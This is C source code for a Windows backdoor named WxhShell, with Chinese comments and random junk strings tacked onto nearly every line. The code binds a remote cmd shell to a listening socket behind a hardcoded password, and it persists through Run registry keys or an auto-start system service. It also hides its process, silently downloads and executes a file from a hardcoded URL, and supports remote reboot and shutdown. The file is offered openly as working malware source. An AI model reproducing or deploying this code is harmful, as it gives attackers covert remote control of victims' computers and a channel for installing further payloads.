    if(Boot(SHUTDOWN)) (cN}Epi(D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c05%iv  
    else { rk7QZVE  
    closesocket(wsh); R,|d`)T  
    ExitThread(0); G(~;]xNW+  
    } r8,romE$  
    break; U7I qST  
    } x\J#]d.  
  // 获取shell /\H>y  
  case 's': { LE*h9((  
    CmdShell(wsh); aj?a^}X  
    closesocket(wsh); 'JNElXqrv  
    ExitThread(0); {W]=~*w  
    break; ]79:yMD~ba  
  } ox%9Ph  
  // 退出 N_pJk2E  
  case 'x': { 1qf!DMcdZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (iR ide  
    CloseIt(wsh); I =1+h  
    break; /w]!wM  
    } R1& [S/  
  // 离开 55;g1o}}f  
  case 'q': { aBNZdX]vzO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PJ2qfYsH=>  
    closesocket(wsh); Pv<24:ao  
    WSACleanup(); t 0-(U\  
    exit(1); s%2v3eb  
    break; L3n_ 5|  
        } *&d<yJM`b  
  } (ZY@$''  
  } V^\8BVw  
[-)r5Dsdq  
  // 提示信息 i} N8(B(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HO[wTB|D]  
} ' 4E R00  
  } ET[k pL  
TOoQZTI  
  return; r\blyWi  
} k%E2n:|*  
04*6(L)h*  
// shell模块句柄 KID,|K  
int CmdShell(SOCKET sock) 6<$Odd  
{ fgBM_c&9T  
STARTUPINFO si; 1&P<  
ZeroMemory(&si,sizeof(si)); cKn`/\.H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'w14sr%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1*dRK6  
PROCESS_INFORMATION ProcessInfo; %~jkB.\* )  
char cmdline[]="cmd"; !YP@m~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n_B"- n  
  return 0; La@ +>  
} }sx_Yj  
hAm`NJMSO  
// 自身启动模式 I8QjKI (  
int StartFromService(void) l983vKr  
{ %/>Y/!;  
typedef struct 9 JWa$iBH@  
{ Rcawc Y  
  DWORD ExitStatus; JXw^/Y$  
  DWORD PebBaseAddress; ~j-cS J3  
  DWORD AffinityMask; #Jna6  
  DWORD BasePriority; HmZ{L +"  
  ULONG UniqueProcessId; zLF?P3^  
  ULONG InheritedFromUniqueProcessId; m~dC3}e8/?  
}   PROCESS_BASIC_INFORMATION; 8@PX7!9  
TARXx>  
PROCNTQSIP NtQueryInformationProcess; l27\diKPJ  
TuW/N L|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1Jj Y!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; CEC nq3  
YFTjPBV  
  HANDLE             hProcess; iR\Hv'|  
  PROCESS_BASIC_INFORMATION pbi; D)@YI.T  
Vp<seO;7o  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JICawj:I  
  if(NULL == hInst ) return 0; meCC?YAB  
fd#j Y}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e4G4GZH8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '*Almv{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YOrrkbJ(  
NBF MN%  
  if (!NtQueryInformationProcess) return 0; 8kbY+W%n  
g/&T[FOr  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t!2(7=P30(  
  if(!hProcess) return 0; Vf`7V$sr  
Iu{kPyx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XTd3|Pm  
I"1;|`L~:  
  CloseHandle(hProcess); @&"Pci+-|  
&|aqP \Q5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i[ $0a4  
if(hProcess==NULL) return 0; >5wx+n)/)  
DaH?@Q  
HMODULE hMod; gZEi]/8_  
char procName[255]; 5"/J^"!h  
unsigned long cbNeeded; Lgz$]Jbl8  
2jbIW*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $46{<4.  
-!)xQvagD.  
  CloseHandle(hProcess); x)UwV  
!J =sk4T  
if(strstr(procName,"services")) return 1; // 以服务启动 4HAp{a1  
||zb6|7I4  
  return 0; // 注册表启动 : iiw3#]  
} >I<r)w]  
qClHP)<  
// 主模块 HK~xOAF  
int StartWxhshell(LPSTR lpCmdLine) ,KJw|x4}\  
{ @ a4/ELx  
  SOCKET wsl; e;GU T:  
BOOL val=TRUE; 2..,Sk  
  int port=0; ~Xlrvb}LP  
  struct sockaddr_in door; x'zBK0i  
l_j4DQBRV  
  if(wscfg.ws_autoins) Install(); O}[PJfvBHo  
Jjl%R[mI  
port=atoi(lpCmdLine); DOz\n|8S  
~w</!s  
if(port<=0) port=wscfg.ws_port; HK)cKzG[s!  
a,Gxm!  
  WSADATA data; %hN.ktZ/s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 V1bLm  
TrdZJ21#M  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {u[V{XIUh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %Rh;=p`  
  door.sin_family = AF_INET; !vn1v)6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^VT1vu %03  
  door.sin_port = htons(port); @h?shW=^  
"C?5f]T  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F/1#l@qN  
closesocket(wsl); + <c^=&7Lq  
return 1; j$da8] !  
} QR">.k4QJ  
y{9~&r  
  if(listen(wsl,2) == INVALID_SOCKET) { pr,p=4m{\  
closesocket(wsl); $^ 'aCU0C  
return 1; $DBGLmw  
} #tdf>?  
  Wxhshell(wsl); PS S?|Vk  
  WSACleanup(); 'O6]0l  
3K@@D B6  
return 0; dV?5Q_}  
U6[ang'l  
} ?4G|+yby  
LwuF0\  
// 以NT服务方式启动 @mt0kV9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \uG`|D n  
{ -xg2q V\c  
DWORD   status = 0; (!5LW '3B  
  DWORD   specificError = 0xfffffff; ( #Z`  
xw<OLWW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W/=|/-\]/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; E^hHH?w+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k#}g,0@  
  serviceStatus.dwWin32ExitCode     = 0; ?hYqcT[%  
  serviceStatus.dwServiceSpecificExitCode = 0; ?@6/Alk  
  serviceStatus.dwCheckPoint       = 0; |DF9cd^  
  serviceStatus.dwWaitHint       = 0; qP*}.Sqk7  
utlpY1#q/  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r' BAT3  
  if (hServiceStatusHandle==0) return; R)Mt(gFZT_  
Xl |1YX1&m  
status = GetLastError(); ExHAY|UA  
  if (status!=NO_ERROR) rSP_:}  
{ ?R Fg$Z'^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; K:y^OAZfV  
    serviceStatus.dwCheckPoint       = 0; :RxHw;!  
    serviceStatus.dwWaitHint       = 0; s,*c@1f?  
    serviceStatus.dwWin32ExitCode     = status; l]2r)!Q7  
    serviceStatus.dwServiceSpecificExitCode = specificError; 4y}"Hy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (/ " &  
    return; =wi*Nd7L  
  } *oI*-C  
Vy G4(X va  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z< b"`ty.  
  serviceStatus.dwCheckPoint       = 0; 4\ /*jA  
  serviceStatus.dwWaitHint       = 0; G&eP5'B4i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t@?u  
} SKY*.IW/Z  
9=dkx^q  
// 处理NT服务事件,比如:启动、停止 |4Ck;gg!j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9O,,m~B  
{ eyw'7  
switch(fdwControl) VY 1vXM3y  
{ qBk``!|s]  
case SERVICE_CONTROL_STOP: ts9pM~_~  
  serviceStatus.dwWin32ExitCode = 0; +UWU|:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; J#3{S]* v_  
  serviceStatus.dwCheckPoint   = 0; L$v^afP?  
  serviceStatus.dwWaitHint     = 0; B`#h{)[  
  { $<)Yyi>6E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ekf$dgoR  
  } _q>SE1j+W=  
  return; Y^ve:Z  
case SERVICE_CONTROL_PAUSE: K% KZO`gO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 10sK]XI  
  break; y@ek=fT%4  
case SERVICE_CONTROL_CONTINUE: \6j^k Y=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "u' )g&   
  break; 0WxCSL$#I  
case SERVICE_CONTROL_INTERROGATE: r@)A k  
  break; QBE@(2G}C  
}; ? S=W&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sj 3oV  
} i&+w _hD  
nX%AeDBAT  
// 标准应用程序主函数 =)<3pGO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #'o7x'n^  
{ )+O r  
Il~01|3+m  
// 获取操作系统版本 ('o&Q_  
OsIsNt=GetOsVer(); 2O""4_G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M7y|EB))  
1|y$~R.H  
  // 从命令行安装 <ZPZk'53<f  
  if(strpbrk(lpCmdLine,"iI")) Install(); +S{  
"4}wnu6/  
  // 下载执行文件 T.?k>A k  
if(wscfg.ws_downexe) { ( 76{2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) - HOnB=  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mn^zYW|(  
} f$xhb3Qn  
+QqH}= M  
if(!OsIsNt) { Zy]s`aa  
// 如果时win9x,隐藏进程并且设置为注册表启动 \%_ZV9cKF  
HideProc(); r)l`  
StartWxhshell(lpCmdLine); nTnRGf\T  
} )BV=|,j  
else wgd<3 X  
  if(StartFromService()) B1T5f1;uY  
  // 以服务方式启动 =d20Xa  
  StartServiceCtrlDispatcher(DispatchTable); pz}mF D&[  
else . 5hp0L}  
  // 普通方式启动 0-e  
  StartWxhshell(lpCmdLine); M23& <}Q8  
nX x=1*X  
return 0; A]y*so!)>  
} .;Y x*]  
]O{_O&w  
J 3?Dj  
hH4o;0rqJ  
=========================================== Sni=gZK  
6mG3fMih.  
71iRG*O  
@&R1wr1>I5  
ILG?r9 x  
m4**>!I  
" O2#S: ~h  
:I/  
#include <stdio.h> 1$["79k  
#include <string.h> _`aR_ %Gx  
#include <windows.h> L{PH0Jf  
#include <winsock2.h> =:5<{J OG  
#include <winsvc.h> a&5g!;.  
#include <urlmon.h> APHPN:v  
V<0$xV1b|=  
#pragma comment (lib, "Ws2_32.lib") d(l|hmj4j9  
#pragma comment (lib, "urlmon.lib") ofwQ:0@  
l BiovT  
#define MAX_USER   100 // 最大客户端连接数 ep?:;98|t  
#define BUF_SOCK   200 // sock buffer S%+R#A1  
#define KEY_BUFF   255 // 输入 buffer t"YIq/08  
d^aNR Lv  
#define REBOOT     0   // 重启 Y+|PY? ~  
#define SHUTDOWN   1   // 关机 %Dyh:h   
Mvof%I  
#define DEF_PORT   5000 // 监听端口 NWISS  
6&],WGz  
#define REG_LEN     16   // 注册表键长度 9s $PrF  
#define SVC_LEN     80   // NT服务名长度 ^![{,o@"A  
ec'tFL#u{  
// 从dll定义API <d! 6[,W;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a J-}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M.k|bh8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wznn #j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (t74a E pi  
8kbBz  
// wxhshell配置信息 Y +qus  
struct WSCFG { TzY!D *%z  
  int ws_port;         // 监听端口 6UB6;-  
  char ws_passstr[REG_LEN]; // 口令 z6Z='=pT  
  int ws_autoins;       // 安装标记, 1=yes 0=no #<}kISV0  
  char ws_regname[REG_LEN]; // 注册表键名 QN #)F  
  char ws_svcname[REG_LEN]; // 服务名 :0dfB&7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !fZLQc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 { y/-:=S)A  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M71R -B`-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (HSw%e  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]PVt o\B=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RIo'X@zb  
Kw*~W i  
}; bA+[{  
V85.DK!  
// default Wxhshell configuration *.dKR  
struct WSCFG wscfg={DEF_PORT, (,TH~("{  
    "xuhuanlingzhe", | XLFV  
    1, |UZOAGiBg  
    "Wxhshell", |KaR n;BM  
    "Wxhshell", Xoi9d1fO  
            "WxhShell Service", vTcZ8|3e  
    "Wrsky Windows CmdShell Service", &?}1AQAYg  
    "Please Input Your Password: ", thQ J(w  
  1, +/Z0  
  "http://www.wrsky.com/wxhshell.exe", P8]ORQ6 ZF  
  "Wxhshell.exe" C,='3^Nc  
    }; ReqE?CeV  
/fC\K_<N  
// 消息定义模块 MBv/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LH.%\TMN$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i0i`k^bA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .' IeHh  
char *msg_ws_ext="\n\rExit."; Q %y,;N"ro  
char *msg_ws_end="\n\rQuit."; q-uLA&4  
char *msg_ws_boot="\n\rReboot..."; #-dK0<:  
char *msg_ws_poff="\n\rShutdown..."; NCxn^$/+>9  
char *msg_ws_down="\n\rSave to "; ul$omKI$}  
.]zw*t*  
char *msg_ws_err="\n\rErr!"; H\f/n`@,G  
char *msg_ws_ok="\n\rOK!"; ,N;v~D$Y  
h;}ODK(.  
char ExeFile[MAX_PATH]; }(cY|  
int nUser = 0; l}+Cdy9>  
HANDLE handles[MAX_USER]; 5])8qb/F  
int OsIsNt; @dl<-  
mQnL<0_<f  
SERVICE_STATUS       serviceStatus; PuU*vs3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "$Y(NFb  
BUV/twU)  
// 函数声明 \@:j  
int Install(void); y\z*p&I  
int Uninstall(void); ( w5f(4  
int DownloadFile(char *sURL, SOCKET wsh); t@r#b67WJe  
int Boot(int flag); .CvFE~  
void HideProc(void); +|M{I= 8  
int GetOsVer(void); 8LeK wb  
int Wxhshell(SOCKET wsl); u<C $'V  
void TalkWithClient(void *cs); h/{8bC@bi  
int CmdShell(SOCKET sock); Bf+^O)Ns^  
int StartFromService(void); <YSg~T  
int StartWxhshell(LPSTR lpCmdLine); ,.q8Xf  
[Q=4P*G}X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M.t@@wq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z2ds8-z  
pbFYiu+  
// 数据结构和表定义 2\ ,e  
SERVICE_TABLE_ENTRY DispatchTable[] = CY5w$E  
{ wU.'_SBfB  
{wscfg.ws_svcname, NTServiceMain}, xLZMpP5c  
{NULL, NULL} ` )]lUvR  
}; tz3]le|ml  
QWQ!Ak  
// 自我安装 %L28$c3p  
int Install(void) u5/t2}^T  
{ G6<HO7\  
  char svExeFile[MAX_PATH]; D|"sE>  
  HKEY key; @N]5&4NL  
  strcpy(svExeFile,ExeFile); V3 qT<}y|  
#*\Ry/9Q  
// 如果是win9x系统,修改注册表设为自启动 4u7Cm  
if(!OsIsNt) { *qbRP"#[$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { { q})kO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y3Y2 QC(  
  RegCloseKey(key); )'=V!H#U*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _J` |<}?t;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); > Z]P]e  
  RegCloseKey(key); SC]6F*  
  return 0; 7 s7}?l9  
    } ,R8n,az  
  } l,^xX =,  
} ZHb7+  
else { F@Pem  
R2SBhs,+R  
// 如果是NT以上系统,安装为系统服务 J&'>IA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \I:UC %  
if (schSCManager!=0) P`z7@9*j  
{ (2cGHYU3N<  
  SC_HANDLE schService = CreateService *1i?6$[ "  
  ( +J%6bn)U  
  schSCManager, W3"vTZJF  
  wscfg.ws_svcname, icU"Vyu  
  wscfg.ws_svcdisp, c 3}x)aQ  
  SERVICE_ALL_ACCESS, f>|9 l  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j`{fB}  
  SERVICE_AUTO_START,  )Kxs@F  
  SERVICE_ERROR_NORMAL, j1W bD7*8  
  svExeFile, >s44  
  NULL, Io2,% !D  
  NULL, 8TUF w@H%  
  NULL, i'U,S`L6>  
  NULL, ;g&7*1E  
  NULL PnI)n=(\  
  ); zI1(F67d`  
  if (schService!=0) G,+xT}@wu  
  { N'I?fWN!;R  
  CloseServiceHandle(schService); P Q6T| >  
  CloseServiceHandle(schSCManager); r$94J'_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "sdcP8])d  
  strcat(svExeFile,wscfg.ws_svcname); <.;@ksCPW{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vM5k4%D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (H'_KPK  
  RegCloseKey(key); GOUY_&}tL  
  return 0; ?Ozk^#H[  
    } i:MlD5 F  
  } l kI8 {  
  CloseServiceHandle(schSCManager); 2Y9y5[K,F)  
} "tqS|ok.  
} unx;m$-c  
X*_ SHt  
return 1; :8GlyN<E  
} E=$7ieW  
6wa<'!   
// 自我卸载 9NJ=~Ub-  
int Uninstall(void) ?aP1  
{ Iz 1*4@  
  HKEY key; ?psOj%  
]!n*V/g  
if(!OsIsNt) { R~U2/6V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]|H]9mys98  
  RegDeleteValue(key,wscfg.ws_regname); &z7N\n  
  RegCloseKey(key); .;]YJy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,| $|kO/  
  RegDeleteValue(key,wscfg.ws_regname); 40`9t Xn  
  RegCloseKey(key); l=Vowx.$2f  
  return 0; cP/F| uG5  
  } MBnK&GS  
} B7NmET4  
} Lr!L}y9T+  
else { ,{#RrF e  
5JJg"yuY"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l|4xKBCV]  
if (schSCManager!=0) v'mJ~tz  
{ f(EYx)gZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s^{{@O.  
  if (schService!=0) |6\FI?  
  { V2WUM+`uT  
  if(DeleteService(schService)!=0) { @h,h=X  
  CloseServiceHandle(schService); ^(E"3 c  
  CloseServiceHandle(schSCManager); 'XC&BWJ  
  return 0; 3C E 39W  
  } F] dmc,Q  
  CloseServiceHandle(schService); Enq6K1@%G  
  } Gnuo-8lb  
  CloseServiceHandle(schSCManager); u* #-7   
} @vVRF Z  
} oyi7YRvwd  
e<ism?WG  
return 1; *y":@T  
} %[+a[/  
%fex uy4  
// 从指定url下载文件 wN/*|?`Z  
int DownloadFile(char *sURL, SOCKET wsh) G}Qk!r  
{ vV$hGS(f~  
  HRESULT hr; p*(U*8Q  
char seps[]= "/"; M ,.0[+  
char *token; )'/nS$\E:  
char *file; -Z[R S{#+T  
char myURL[MAX_PATH]; s[vPH8qb  
char myFILE[MAX_PATH]; Z7m GC`>  
.(gT+5[  
strcpy(myURL,sURL); EU?&  
  token=strtok(myURL,seps); _E x*%Qf.  
  while(token!=NULL) qr<-eJf  
  { UH1S_:6  
    file=token; &deZ  
  token=strtok(NULL,seps); 0|K/=dh5+  
  } 4EaS g#  
.O@q5G  
GetCurrentDirectory(MAX_PATH,myFILE); !#_h2a  
strcat(myFILE, "\\"); o|p;6  
strcat(myFILE, file); KV) Hywl`  
  send(wsh,myFILE,strlen(myFILE),0); d~P<M3#>  
send(wsh,"...",3,0); i_jax)m%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #NVF\  
  if(hr==S_OK) GDNh?R  
return 0; <MWXew7b  
else ~|0F?~eR7  
return 1; 3<~2"@J  
QTrlQH&p  
} yP1Y3Tga=  
~t.WwxY+  
// 系统电源模块 /I`bh  
int Boot(int flag) r=iMo7q  
{ @?^LxqAWA  
  HANDLE hToken; d =B@EyN  
  TOKEN_PRIVILEGES tkp; J;Z>fAE7  
yccuTQvz  
  if(OsIsNt) { Wzf1-0t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t^bdi}[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); S,)|~#5x  
    tkp.PrivilegeCount = 1; ` + n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zh fD`@>&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ="'P=Xh!8  
if(flag==REBOOT) { fa*H cz  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,:dEEL+>c  
  return 0; 9 z8<[>  
}  i?i7T`  
else { ?( dYW7S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #$vhC u<I  
  return 0; "Wn?8vR  
} P!4{#'_}  
  } x(/@Pt2B  
  else { SceCucT  
if(flag==REBOOT) { %t5BB$y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bCaPJ!ZO  
  return 0; Jv4D^>yj[  
} :+%h  
else { 5sh u76  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _ \y0 mc4  
  return 0; !>Qc2&ZV  
} vxilQp  
} PhI6dB`  
*3etxnQc  
return 1; ek;&<Z_ ]  
} BJ.8OU*9]S  
h<^:Nn  
// win9x进程隐藏模块 U<,Kw6K  
void HideProc(void) ,Q /nS$  
{ ~&j`9jdOj  
?3"D| cS1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k vgs $  
  if ( hKernel != NULL ) Y +_5"LV  
  { fj t_9-.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^]lwd"$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,b.4uJg'  
    FreeLibrary(hKernel); ?od}~G4s#  
  } sG1]A:_<C  
ap$ tu3j  
return; YaJ{"'}  
} x 1xj\O  
i\Q"a B"r  
// 获取操作系统版本 c] >&6-;rf  
int GetOsVer(void) &6^W% r  
{ |n6 Q  
  OSVERSIONINFO winfo; `d|bH; w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z)Q^j>%  
  GetVersionEx(&winfo); kFIB lPV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ng&EGM  
  return 1; 8$<AxNR  
  else @gqs4cg{f  
  return 0; FG5c:Ep  
} HT,kx  
h3d\MYO)B  
// 客户端句柄模块 C"Y]W-Mgg  
int Wxhshell(SOCKET wsl) xjhAAM  
{ W6xjqNU  
  SOCKET wsh; #L IsL  
  struct sockaddr_in client; _9-D3_P[3  
  DWORD myID; =u3@ Dhw  
4wj|  
  while(nUser<MAX_USER) hp z*jyh8  
{ ^3)2]>pW  
  int nSize=sizeof(client); (~pEro]?+)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 61rh\<bn  
  if(wsh==INVALID_SOCKET) return 1; *"QE1Fum'  
>5@vY?QXO  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); })0 7u  
if(handles[nUser]==0) %M,d/4=P  
  closesocket(wsh); `jQ}^wEgu  
else &<P^Tvqq&  
  nUser++; v yLAs;  
  } R5;eR(24G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F/od,w9_  
~q T1<k  
  return 0; Oc/_ T>  
} }B '*8^S  
Qhr]eu;z  
// 关闭 socket ?^$4)Y>Kf  
void CloseIt(SOCKET wsh) ^.1VhTB  
{ B{o\RNU  
closesocket(wsh); -J7,Nw  
nUser--; c'#J{3d  
ExitThread(0); @Rb1)$~#  
} ,f0g|5yDf  
//u76nQ  
// 客户端请求句柄 7(g&z%  
void TalkWithClient(void *cs) q>:&xR"ra  
{ rD U6 5j  
5<?c_l9X^  
  SOCKET wsh=(SOCKET)cs; .yfqS|(  
  char pwd[SVC_LEN]; <&0*5|rR  
  char cmd[KEY_BUFF]; Q%VR@[`\  
char chr[1]; P"_}F  
int i,j; m3xj5]#^$  
?M-8Fp3 +  
  while (nUser < MAX_USER) { j _9<=Vu  
>.wd)  
if(wscfg.ws_passstr) { #M^Yh?~%w  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;6 qdOD6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s>``- ]3  
  //ZeroMemory(pwd,KEY_BUFF); = 4WZr  
      i=0; Nl<,rD+KSD  
  while(i<SVC_LEN) { ^}7t:  
-QI`npsnV  
  // 设置超时 V1#aDfiW  
  fd_set FdRead; ecZOX$'5  
  struct timeval TimeOut; Ww tQ>'R"  
  FD_ZERO(&FdRead); XhD fI &  
  FD_SET(wsh,&FdRead); MirBJL  
  TimeOut.tv_sec=8; 8Gg/M%wq9U  
  TimeOut.tv_usec=0; ZUJOBjb` K  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); c2mt<DtWW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ru')X{]25  
,Ve@=<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <$6'Mzf  
  pwd=chr[0]; {BCj VmY  
  if(chr[0]==0xd || chr[0]==0xa) { HeifFJn  
  pwd=0; N5Mz=UgB  
  break; yW(+?7U  
  } LLY;IUK!R  
  i++; J'c9577$  
    } 5"~^;O  
5 ^z ,'C  
  // 如果是非法用户,关闭 socket $(L7/M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Hpg;?xAT  
} 71&+dC  
gG;W:vR}l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); to|9)\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M*6@1.n  
`DllW{l  
while(1) { ~tuFjj^  
_";pk  _  
  ZeroMemory(cmd,KEY_BUFF); xy3%z  
vl~   
      // 自动支持客户端 telnet标准   `srZ#F5  
  j=0; *>$)#?t  
  while(j<KEY_BUFF) { [IBk-opap  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KL"L65g&  
  cmd[j]=chr[0]; GiwA$^Hg\  
  if(chr[0]==0xa || chr[0]==0xd) { _1c_TMh}9  
  cmd[j]=0; *`.{K12T  
  break; 5g>kr< K  
  } . \0=1P:  
  j++; *9(1:N;#  
    } l{o{=]x1  
ykhCt\t[  
  // 下载文件 %ys}Q!gR  
  if(strstr(cmd,"http://")) { kD7(}N8YR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ld?.o/  
  if(DownloadFile(cmd,wsh)) Z|S7 " ,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 32P]0&_O  
  else gK\7^95  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X2?_lZ[\  
  } |6^ K  
  else { Z?' |9FM  
ea>\.D-S  
    switch(cmd[0]) { B&N&eRAE  
  Z`c{LYP,y"  
  // 帮助 #de^~  
  case '?': { -Ep6 .v  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aW$nNUVD  
    break; Z x%@wH~  
